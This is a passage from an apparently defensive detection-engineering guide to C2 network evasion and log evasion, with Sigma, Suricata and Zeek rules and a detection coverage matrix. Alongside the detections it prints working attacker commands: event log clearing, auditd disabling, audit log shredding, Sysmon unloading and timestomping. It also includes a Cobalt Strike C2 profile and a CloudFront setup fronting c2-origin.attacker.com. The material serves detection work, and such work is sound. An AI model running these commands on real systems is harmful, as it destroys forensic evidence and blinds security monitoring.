3. Implant traffic goes to CDN edge -> CDN forwards to origin C2
4. IP reputation filtering sees only CDN IPs — high reputation, shared with thousands of legitimate sites
5. Blocking the CDN IP blocks all legitimate customers

**CloudFront setup**:
```
# Create CloudFront distribution:
# Origin: c2-origin.attacker.com:443
# Behavior: Forward all headers, no caching
# Result: <random>.cloudfront.net -> c2-origin.attacker.com
```

**Cobalt Strike Malleable C2 integration**:
```
http-get {
    set uri "/api/health";
    client {
        header "Host" "d1234abcdef.cloudfront.net";
        header "Accept" "application/json";
    }
}
```

**Additional CDN abuse patterns**:
- **Azure Functions / AWS Lambda**: C2 logic as serverless function behind CDN
- **Workers (Cloudflare Workers)**: C2 redirector running at edge, no origin server needed
- **Blob/S3 staging**: Stage payloads in cloud storage behind CDN for download

**DETECTION OPPORTUNITY**:
- **TLS certificate analysis**: CDN-issued certificates for suspicious distributions
- **Traffic pattern analysis**: periodic beaconing to CDN endpoints at fixed or jittered intervals
- **Cloud tenant enumeration**: resolve CDN endpoint to underlying tenant/distribution for attribution
- **HTTP header analysis** (where TLS-inspected): unusual User-Agent, missing standard browser headers for traffic claiming to be web browsing
- **NetFlow/connection metadata**: long-lived or regularly recurring connections to CDN IPs from non-browser processes

### 15.4 JA3/JA3S Fingerprint Randomization

**Concept**: JA3 fingerprints TLS ClientHello parameters (cipher suites, extensions, elliptic curves, etc.) into an MD5 hash. Each TLS implementation produces a characteristic JA3 hash. Implants with custom TLS stacks produce non-browser JA3 hashes that defenders use for detection. Randomization makes the implant's JA3 look different every connection or match a specific legitimate client.

**Mechanism — JA3 spoofing approaches**:

1. **Library mimicry**: Use the same TLS library as the target browser (e.g., link against Chrome's BoringSSL instead of Go's crypto/tls)

2. **ClientHello manipulation**: Manually craft the ClientHello to match a target JA3:
```python
# Using scapy or custom TLS implementation
# Target: Chrome 120 JA3 = 773906b5e12...
# Set cipher suites, extensions, curves to match Chrome's exact ClientHello
```

3. **JA3 evasion tools**:
   - **CycleTLS** (ref: `Danny-Dasilva/CycleTLS`): Go library that spoofs JA3 by modifying TLS ClientHello parameters
   - **uTLS** (ref: `refraction-networking/utls`): Go library providing low-level TLS ClientHello control, can mimic any browser fingerprint
   - **Cobalt Strike**: Malleable C2 profiles can set TLS parameters, but full JA3 control requires custom listeners

4. **uTLS example** (Go):
```go
import (
    tls "github.com/refraction-networking/utls"
)

config := &tls.Config{ServerName: "legitimate-site.com"}
conn, _ := tls.Dial("tcp", "cdn-edge:443", config, &tls.ClientHelloID{
    Client:  "Chrome",
    Version: "120",
})
// JA3 hash will match Chrome 120
```

5. **JARM evasion** (server-side): C2 servers also have JARM fingerprints. Use nginx/caddy as a reverse proxy in front of C2 infrastructure — JARM reflects the proxy, not the C2 framework.

**DETECTION OPPORTUNITY**:
- **JA3 + process correlation**: JA3 hash says Chrome but the process is `svchost.exe` or a custom binary — mismatch is high-fidelity
- **JA3 entropy/stability**: Legitimate browsers have stable JA3s per version; constantly changing JA3s from the same process suggest randomization
- **JA3S correlation**: Server response fingerprint may still reveal C2 framework even if client is spoofed
- **JARM scanning**: Proactively JARM-scan suspected C2 infrastructure; compare against known C2 framework JARM hashes (Cobalt Strike, Sliver, Mythic)
- **Full TLS inspection**: If performed, JA3 evasion becomes irrelevant as encrypted content is inspectable

**Suricata rule** (JA3 hash matching for known C2 frameworks):
```
alert tls $HOME_NET any -> any any (msg:"Known Cobalt Strike JA3 fingerprint"; \
  ja3.hash; content:"72a589da586844d7f0818ce684948eea"; \
  flow:established,to_server; \
  classtype:trojan-activity; \
  sid:1000020; rev:1;)

alert tls any any -> $HOME_NET any (msg:"Known Cobalt Strike JA3S fingerprint"; \
  ja3s.hash; content:"ae4edc6faf64d08308082ad26be60767"; \
  flow:established,to_client; \
  classtype:trojan-activity; \
  sid:1000021; rev:1;)
```

**Zeek detection** (JA3 anomaly tracking):
```zeek
# Track JA3 per source IP + process (if available via endpoint correlation)
# Alert on JA3 hashes not in known-good browser fingerprint list

const known_browser_ja3: set[string] = {
    # Chrome, Firefox, Edge, Safari hashes
    # Updated quarterly from ja3er.com
};

event ssl_client_hello(c: connection, version: count, record_version: count,
                       possible_ts: time, client_random: string,
                       session_id: string, ciphers: index_vec,
                       comp_methods: index_vec) {
    if (c$ssl?$ja3 && c$ssl$ja3 !in known_browser_ja3) {
        NOTICE([$note=SSL::Unusual_JA3,
                $msg=fmt("Unknown JA3: %s from %s", c$ssl$ja3, c$id$orig_h),
                $conn=c]);
    }
}
```

### 15.5 Encrypted C2 over Legitimate Protocols

**Concept**: Embed C2 within protocols that are universally permitted — HTTPS to well-known services, WebSocket connections, gRPC streams.

**Common legitimate service abuse**:
| Service | Technique | ATT&CK |
|---------|-----------|--------|
| Slack/Discord/Teams | Bot API for C2 messaging | T1102.002 (Web Service: Bidirectional) |
| Google Sheets/Docs | Read/write cells as C2 channel | T1102.002 |
| GitHub/GitLab | Issues/commits as dead drops | T1102.001 (Web Service: Dead Drop) |
| Notion API | Page content as C2 instructions | T1102.002 |
| Telegram Bot API | Messages as command/response | T1102.002 |
| AWS S3/Azure Blob | Object read/write as C2 | T1102.002 |

**DETECTION OPPORTUNITY**:
- **API endpoint monitoring**: Non-browser processes connecting to Slack/Discord/Telegram APIs
- **Behavioral**: Periodic polling patterns to collaboration platforms from server processes
- **Data volume**: Unusual upload/download patterns to web services from specific hosts
- **Process-to-network correlation**: System process or service executable communicating with social platforms

---

## 16. Log Evasion

Destroying, tampering with, or disabling logging eliminates forensic evidence and blinds defensive monitoring. ATT&CK: T1070 (Indicator Removal), T1562.002 (Impair Defenses: Disable Windows Event Logging).

### 16.1 Windows Event Log Clearing

**Concept**: Clear specific or all Windows Event Log channels to destroy evidence of attacker activity.

**Methods**:
```cmd
# Clear Security log (requires SeSecurityPrivilege — typically admin)
wevtutil cl Security

# Clear System log
wevtutil cl System

# Clear PowerShell Operational log
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Clear Sysmon log
wevtutil cl "Microsoft-Windows-Sysmon/Operational"

# Clear all logs (nuclear option)
for /F "tokens=*" %L in ('wevtutil el') do wevtutil cl "%L"
```

**PowerShell variants**:
```powershell
# Clear specific log
Clear-EventLog -LogName Security, System, Application

# Clear via WMI
Get-WmiObject Win32_NTEventLogFile | ForEach-Object { $_.ClearEventLog() }

# .NET method (less commonly monitored)
[System.Diagnostics.EventLog]::Delete("Security")
```

**DETECTION OPPORTUNITY**:
- **Event ID 1102** (Security log): "The audit log was cleared" — this event is logged to the Security log BEFORE it is cleared, and is forwarded to SIEM if real-time shipping is configured
- **Event ID 104** (System log): "The event log was cleared"
- **Sysmon Event ID 1**: `wevtutil.exe` with `cl` argument
- **Event forwarding**: If logs are shipped in real-time to SIEM, clearing local logs doesn't affect the forwarded copy
- **Log gap detection**: Sudden absence of events from a source that was previously active

```yaml
title: Windows Event Log Cleared
id: d2e7f8c3-4b1a-5d69-8e2f-a9c3b5d71e84
status: stable
description: Detects clearing of Windows Event Logs via wevtutil or PowerShell
logsource:
  category: process_creation
  product: windows
detection:
  selection_wevtutil:
    Image|endswith: '\wevtutil.exe'
    CommandLine|contains:
      - ' cl '
      - ' clear-log '
  selection_powershell:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains:
      - 'Clear-EventLog'
      - 'ClearEventLog'
      - '[System.Diagnostics.EventLog]::Delete'
  condition: selection_wevtutil or selection_powershell
falsepositives:
  - Scheduled log maintenance scripts (should be baselined with service accounts)
level: critical
tags:
  - attack.t1070.001
  - attack.defense_evasion
```

### 16.2 Windows Event Log Tampering (Selective Deletion)

**Concept**: Rather than clearing entire logs (which generates Event ID 1102), selectively delete or modify individual events. This is stealthier than wholesale clearing.

**Technique — EventLogEdit / Danderspritz**:
1. Open the `.evtx` file directly (stop EventLog service or use shadow copy)
2. Parse the binary XML event log format
3. Delete specific event records by ID or time range
4. Fix checksums and record count metadata
5. Restart the EventLog service

**Technique — Phantom (ref: `hlldz/Phant0m`)**: Kill the Event Log service threads while keeping the service process alive:
1. Identify `svchost.exe` instance hosting the EventLog service
2. Enumerate threads belonging to the EventLog service
3. Terminate each thread individually using `NtTerminateThread`
4. Service status still shows "Running" but no events are logged
5. No Event ID 1102 generated (log was never "cleared")

**Implementation (Phant0m approach)**:
```cpp
// Enumerate threads in EventLog service host
// For each thread:
//   - Open thread handle
//   - Check if thread belongs to EventLog DLL (wevtsvc.dll)
//   - NtTerminateThread to kill it
// Result: EventLog service is "running" but all worker threads are dead
```

**Technique — Direct .evtx manipulation**:
```powershell
# Stop EventLog service (requires SYSTEM)
Stop-Service EventLog -Force

# Alternatively, operate on Volume Shadow Copies to avoid service disruption
vssadmin create shadow /for=C:
# Copy .evtx from shadow, edit, replace

# Tools: python-evtx, libfwevt for parsing and manipulation
```

**DETECTION OPPORTUNITY**:
- **EventLog service health**: Monitor thread count in EventLog service's svchost.exe — sudden decrease indicates Phant0m-style attack
- **Event gap detection**: Missing sequence numbers in event logs (record IDs should be sequential)
- **Event forwarding**: Forward to SIEM in real-time — local tampering doesn't affect forwarded events
- **Sysmon Event ID 1**: Suspicious process accessing `.evtx` files or calling `NtTerminateThread` against svchost
- **ETW**: EventLog service ETW provider goes silent — monitor for provider dropout
- **File integrity**: `.evtx` file modification outside of normal EventLog service writes
- **Service thread monitoring**: detect `NtTerminateThread` called from external process targeting svchost threads

### 16.3 Sysmon Configuration Bypass

**Concept**: Sysmon's detection capabilities are defined by its XML configuration. Attackers who can read or modify the config can understand what is monitored and craft evasion, or disable monitoring entirely. ATT&CK: T1562.001.

**Technique — Config discovery**:
```cmd
# Dump current Sysmon config (requires admin on some versions)
sysmon -c

# Read config from registry
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" /v ConfigHash
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"

# Sysmon config is stored as a binary blob in registry; tools like SysmonConfigExtractor can parse it
```

**Technique — Config modification**:
```cmd
# Load a permissive config that monitors nothing
sysmon -c permissive.xml

# Where permissive.xml contains:
# <Sysmon schemaversion="4.90">
#   <EventFiltering>
#     <ProcessCreate onmatch="include" />  <!-- Include nothing = log nothing -->
#   </EventFiltering>
# </Sysmon>

# Uninstall Sysmon entirely
sysmon -u
```

**Technique — Driver unload**:
```cmd
# Unload Sysmon driver (requires admin)
fltMC unload SysmonDrv

# Or rename the Sysmon service to prevent restart
sc config Sysmon binpath= "C:\Windows\System32\svchost.exe"
```

**Technique — Evasion via config knowledge**:
```
# If Sysmon config excludes certain paths or process names:
# - Rename payload to match excluded process name
# - Drop payload in excluded path
# - Use excluded parent process for execution
```

**DETECTION OPPORTUNITY**:
- **Sysmon Event ID 16**: Sysmon configuration changed — high-fidelity alert
- **Sysmon Event ID 255**: Sysmon error (indicates potential driver issues)
- **Service monitoring**: Sysmon/SysmonDrv service state changes
- **Driver load events**: `fltMC.exe` execution or minifilter unload events
- **Registry monitoring**: Changes to `HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters`
- **Config validation**: Periodically compare running Sysmon config hash against known-good baseline

```yaml
title: Sysmon Configuration Tampered or Service Stopped
id: c8a2d5f1-7e93-4b46-9d1a-e3f6c2b84a75
status: experimental
description: Detects attempts to modify Sysmon configuration, unload driver, or stop service
logsource:
  category: process_creation
  product: windows
detection:
  selection_config:
    Image|endswith: '\Sysmon64.exe'
    CommandLine|contains:
      - ' -c '
      - ' -u'
  selection_driver:
    Image|endswith: '\fltMC.exe'
    CommandLine|contains|all:
      - 'unload'
      - 'Sysmon'
  selection_service:
    Image|endswith: '\sc.exe'
    CommandLine|contains|all:
      - 'config'
      - 'Sysmon'
  condition: selection_config or selection_driver or selection_service
falsepositives:
  - Legitimate Sysmon configuration updates by security team (should be tracked via change management)
level: critical
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

### 16.4 Linux auditd Disabling

**Concept**: Linux `auditd` provides kernel-level system call auditing. Disabling it eliminates audit trail for file access, process execution, network connections, and privilege escalation. ATT&CK: T1562.001.

**Methods**:
```bash
# Stop auditd service
systemctl stop auditd
service auditd stop

# Disable auditd permanently
systemctl disable auditd

# Kill the audit daemon (brutal but effective)
kill -9 $(pidof auditd)

# Disable kernel audit subsystem entirely (requires root)
auditctl -e 0

# Delete all audit rules (leaves auditd running but monitoring nothing)
auditctl -D

# Modify audit config to ignore everything
echo "-a never,exit" > /etc/audit/rules.d/00-disable.rules
augenrules --load

# Reduce audit backlog to cause event drops
auditctl -b 1

# Max out audit rate limit to suppress events
auditctl -r 0
```

**Log file destruction**:
```bash
# Truncate audit log
> /var/log/audit/audit.log

# Remove audit logs
rm -f /var/log/audit/audit.log*

# Overwrite with zeros (anti-forensics)
shred -vfz -n 3 /var/log/audit/audit.log
```

**DETECTION OPPORTUNITY**:
- **Audit event type 1305** (`AUDIT_CONFIG_CHANGE`): Logs changes to audit configuration including rule changes and `auditctl -e 0`
- **Systemd journal**: `systemctl stop auditd` generates journal entries
- **Process monitoring**: `auditctl` execution with `-D` (delete rules) or `-e 0` (disable)
- **File integrity monitoring**: Changes to `/etc/audit/audit.conf`, `/etc/audit/rules.d/`
- **Audit log gap detection**: Sudden absence of audit events on an actively monitored system
- **Remote syslog**: Forward audit events in real-time to remote SIEM — local destruction doesn't affect forwarded copy
- **Immutable audit rules**: Set `-e 2` in audit rules to make audit configuration immutable until reboot (prevents `auditctl -D` and `-e 0`)

```yaml
title: Linux Audit Framework Disabled or Tampered
id: a7c3e4d8-2f15-4b93-ae6c-d1b5c8f29e73
status: experimental
description: Detects attempts to disable auditd or delete audit rules on Linux systems
logsource:
  category: process_creation
  product: linux
detection:
  selection_auditctl:
    Image|endswith: '/auditctl'
    CommandLine|contains:
      - ' -e 0'
      - ' -D'
      - ' -b 1'
  selection_service:
    Image|endswith:
      - '/systemctl'
      - '/service'
    CommandLine|contains|all:
      - 'stop'
      - 'auditd'
  selection_kill:
    Image|endswith: '/kill'
    CommandLine|contains: 'auditd'
  condition: selection_auditctl or selection_service or selection_kill
falsepositives:
  - Audit configuration management by automation tools (Ansible, Puppet)
level: critical
tags:
  - attack.t1562.001
  - attack.defense_evasion
```

### 16.5 Timestomping

**Concept**: Modify file timestamps (creation time, modification time, access time, MFT entry modification time) to make malicious files appear to have been present since the original OS installation or to match surrounding legitimate files. ATT&CK: T1070.006 (Indicator Removal: Timestomp).

**Windows methods**:
```powershell
# PowerShell: set all timestamps to match a legitimate file
$ref = Get-Item C:\Windows\System32\kernel32.dll
$target = Get-Item C:\temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

# Cobalt Strike: timestomp command
timestomp C:\temp\payload.exe C:\Windows\System32\kernel32.dll
```

**NtSetInformationFile (direct syscall for maximum stealth)**:
```cpp
// Use NtSetInformationFile with FileBasicInformation class
// Set CreationTime, LastAccessTime, LastWriteTime, ChangeTime
FILE_BASIC_INFORMATION fbi = {0};
fbi.CreationTime.QuadPart = legitimate_timestamp;
fbi.LastWriteTime.QuadPart = legitimate_timestamp;
fbi.LastAccessTime.QuadPart = legitimate_timestamp;
fbi.ChangeTime.QuadPart = legitimate_timestamp;
NtSetInformationFile(hFile, &iosb, &fbi, sizeof(fbi), FileBasicInformation);
```

**Linux methods**:
```bash
# touch: set modification and access time
touch -r /bin/ls /tmp/payload

# touch with specific timestamp
touch -t 202301150000.00 /tmp/payload

# Modify all timestamps to match a reference file
stat /bin/ls  # Get reference times
touch -r /bin/ls /tmp/payload  # Copy mtime/atime
# ctime cannot be set directly via touch — requires debugfs or filesystem manipulation
```

**MFT timestamp limitation**: Windows NTFS stores 4 timestamps in the $STANDARD_INFORMATION attribute and 4 in the $FILE_NAME attribute. Standard tools modify only $STANDARD_INFORMATION. Forensic tools compare both — a mismatch between $SI and $FN timestamps is a strong timestomping indicator.

**DETECTION OPPORTUNITY**:
- **$SI vs $FN timestamp comparison**: $STANDARD_INFORMATION timestamps modified but $FILE_NAME timestamps unchanged — high-confidence timestomping indicator (requires MFT parsing via tools like MFTECmd, Plaso, Autopsy)
- **Sysmon Event ID 2**: File creation time changed (detects `SetFileTime` / `NtSetInformationFile`)
- **Behavioral**: file with OS-era timestamps located in user-writable directory (C:\Users, C:\temp)
- **Timestamp clustering**: malicious files with timestamps exactly matching a system file = suspicious coincidence
- **Journal analysis**: NTFS $UsnJrnl and $LogFile record the actual operation times regardless of timestomping
- **Linux**: `stat` shows that ctime (inode change time) doesn't match mtime — on Linux, ctime updates whenever mtime is set, but only reflects the ACTUAL time of the change

```yaml
title: File Creation Time Modified (Timestomping)
id: b5d2c8e7-3f94-4a61-9e2d-c7f1a3b68d52
status: stable
description: Detects modification of file creation timestamps indicating timestomping
logsource:
  product: windows
  category: file_change
detection:
  selection:
    EventType: 'SetCreationTime'
  filter_legitimate:
    Image|endswith:
      - '\explorer.exe'
      - '\msiexec.exe'
      - '\TiWorker.exe'
      - '\setup.exe'
  condition: selection and not filter_legitimate
falsepositives:
  - Software installation packages that set file timestamps
  - Archive extraction tools preserving original timestamps
level: medium
tags:
  - attack.t1070.006
  - attack.defense_evasion
```

### 16.6 Windows Event Log Service Crash

**Concept**: Crash the Event Log service by exploiting vulnerabilities or corrupting its memory. Unlike clearing logs (Event ID 1102) or thread killing (Phant0m), a service crash may appear as a legitimate failure.

**Technique — Resource exhaustion**:
```powershell
# Generate massive volume of events to overflow buffers
# Causes event drops when backlog exceeds limit
1..100000 | ForEach-Object { Write-EventLog -LogName Application -Source "Application" -EventID 1000 -Message "x" * 31000 }
```

**Technique — Corrupting event log files**:
```cmd
# If running as SYSTEM, directly corrupt .evtx header
# Located at: C:\Windows\System32\winevt\Logs\
# Corrupting the header prevents the EventLog service from reading the file
```

**DETECTION OPPORTUNITY**:
- **Event ID 6038** (System): EventLog service crash events
- **Windows Error Reporting**: Crash dumps for svchost.exe hosting EventLog
- **Service monitoring**: EventLog service restart patterns
- **Event forwarding gap**: Downstream SIEM detects gap in events from the source host

---

## 17. Detection Engineering Summary — Technique vs Detection Matrix

This matrix maps each evasion category to its most effective detection methods. Use this for gap analysis: if your environment lacks a detection method column, you have a corresponding blind spot.

### 17.1 Evasion Technique Detection Coverage Matrix

| # | Technique | Sysmon | ETW | Kernel Callbacks | Memory Scan | Behavioral | Network | Log Integrity | YARA |
|---|-----------|--------|-----|-----------------|-------------|------------|---------|---------------|------|
| 1 | Direct Syscalls | - | RIP validation | Thread notify | Unbacked RX | Call stack anomaly | - | - | Stub patterns |
| 2 | AMSI Bypass (patch) | Registry (provider dereg) | AMSI telemetry gap | - | amsi.dll integrity | Scan result anomaly | - | - | Patch patterns |
| 3 | ETW Bypass | VirtualProtect on ntdll | Gap detection | PPL-protected ETW | ntdll integrity | Event dropout | - | - | Patch patterns |
| 4 | Process Injection | EID 8,25 (remote thread, tampering) | Threat-Intel provider | Process/thread notify | Unbacked RX, PE in non-image | Cross-process API chain | - | - | Shellcode sigs |
| 5 | EDR Unhooking | EID 7 (image load) | Hook integrity check | Image load notify | ntdll .text hash | Hook disappearance | - | - | Unhook stubs |
| 6 | EDR Silencing | EID 1 (netsh/WFP tools) | WFP audit events | - | - | EDR heartbeat loss | Connectivity monitor | - | - |
| 7 | Code Signing Abuse | EID 7 (untrusted sig) | - | Image load notify | - | Cert chain validation | - | - | Fake cert patterns |
| 8 | In-Memory Execution | EID 7 (CLR load) | .NET runtime events | Image load notify | Unbacked RX, PE headers | CLR in non-.NET process | - | - | Donut/loader sigs |
| 9 | LOLBins | EID 1 (process create) | - | Process notify | - | Parent-child anomaly | Outbound from LOLBins | - | - |
| 10 | Payload Packing | - | - | - | Entropy analysis | Unpack-and-execute | - | - | Packer stubs |
| 11 | PowerShell Obfuscation | - | Script block logging | - | - | Entropy, char freq | - | - | Obfuscation patterns |
| 12 | BOF Execution | - | .NET ETW (BOF.NET) | - | BOF code in memory | Recon from single process | - | - | BOF signatures |
| 13 | UAC Bypass | EID 12/13 (registry) | COM elevation events | - | - | Process lineage (auto-elevate -> child) | - | - | - |
| 14 | Defender Evasion | EID 1,13 (config change) | Defender operational log | - | - | Protection state change | - | EID 5007 | - |
| 15 | Network Evasion (fronting) | - | - | - | - | Beacon patterns | SNI/Host mismatch, JA3 | - | - |
| 15 | Network Evasion (DoH) | - | - | - | - | Non-browser DoH | DoH endpoint detect | - | - |
| 15 | Network Evasion (JA3) | - | - | - | - | JA3+process mismatch | JA3/JARM fingerprint | - | - |
| 16 | Log Clearing | EID 1 (wevtutil) | - | - | - | Event gap | - | EID 1102/104 | - |
| 16 | Log Tampering (Phant0m) | - | EventLog provider gap | Thread notify | - | Thread count change | - | Sequence gap | - |
| 16 | Sysmon Bypass | EID 16 (config change) | - | Driver unload events | - | Service state change | - | Config hash mismatch | - |
| 16 | auditd Disable | Process create | - | - | - | Audit event gap | - | Config file change | - |
| 16 | Timestomping | EID 2 (time change) | - | - | - | $SI/$FN mismatch | - | USN journal | - |

### 17.2 Detection Priority Tiers

**Tier 1 — Deploy immediately** (high-fidelity, low false-positive):
- Event ID 1102/104: Log clearing — near-zero legitimate use outside maintenance windows
- Sysmon Event ID 16: Sysmon config change — should only happen during authorized deployments
- Sysmon Event ID 8: CreateRemoteThread — filter known pairs, alert on unknowns
- Registry writes to `ms-settings\Shell\Open\command` or `mscfile\Shell\Open\command` — almost never legitimate
- `DllHost.exe` with known auto-elevating CLSIDs
- `MpCmdRun.exe -DownloadFile` from non-Defender parent
- Defender Event ID 5001: Real-time protection disabled
- `auditctl -e 0` or `auditctl -D` execution

**Tier 2 — Deploy with tuning** (high value, some false-positives):
- VirtualProtect on ntdll/amsi.dll memory ranges
- Unbacked executable memory regions in processes
- CLR loading in non-.NET processes
- LOLBin unusual parent-child relationships
- PowerShell with `AmsiUtils` / `amsiContext` in script block logs
- File creation time changes (Sysmon EID 2) from non-installer processes
- Defender exclusion additions to user-writable paths

**Tier 3 — Advanced detection** (requires mature tooling):
- ETW gap detection (processes that stop emitting events)
- Kernel callback monitoring for process/thread/image events
- JA3 + process correlation
- $STANDARD_INFORMATION vs $FILE_NAME timestamp divergence (MFT analysis)
- SNI vs Host header mismatch in TLS-inspected traffic
- Call stack analysis on syscall events
- EventLog service thread count monitoring

### 17.3 Minimum Viable Detection Stack

For organizations building detection capability, deploy in this order:

```
1. Sysmon (comprehensive config — SwiftOnSecurity or Olaf Hartong baseline)
   → Covers: process creation, network, registry, file, driver, named pipe events

2. PowerShell logging (Script Block + Module Logging + Transcription)
   → Covers: obfuscation bypass (deobfuscated content), AMSI bypass attempts

3. Windows Event Forwarding (WEF) to SIEM
   → Covers: log tamper resilience — events shipped before local deletion

4. Defender operational log monitoring (Event IDs 5001, 5007, 5010)
   → Covers: protection state changes, configuration tampering

5. Network metadata (Zeek or Suricata)
   → Covers: domain fronting, DoH, JA3 anomalies, beacon detection

6. auditd with immutable rules (-e 2) + remote syslog forwarding
   → Covers: Linux kernel-level auditing with tamper resistance

7. Memory scanning (YARA on process memory, periodic)
   → Covers: in-memory implants, unbacked code, stomped modules

8. EDR with kernel-level telemetry
   → Covers: syscall monitoring, callback-based detection, driver-level visibility
```

---

## Appendix C: Additional Tool Reference

| Tool | Purpose | URL |
|------|---------|-----|
| Phant0m | EventLog service thread killing | `hlldz/Phant0m` |
| Godoh | DNS-over-HTTPS C2 channel | `sensepost/godoh` |
| uTLS | Go TLS ClientHello fingerprint spoofing | `refraction-networking/utls` |
| CycleTLS | JA3 fingerprint spoofing library | `Danny-Dasilva/CycleTLS` |
| UACME | Comprehensive UAC bypass collection (70+ methods) | `hfiref0x/UACME` |
| MFTECmd | MFT parser for timestamp analysis | `EricZimmerman/MFTECmd` |
| SysmonConfigExtractor | Extract Sysmon config from registry | community tool |
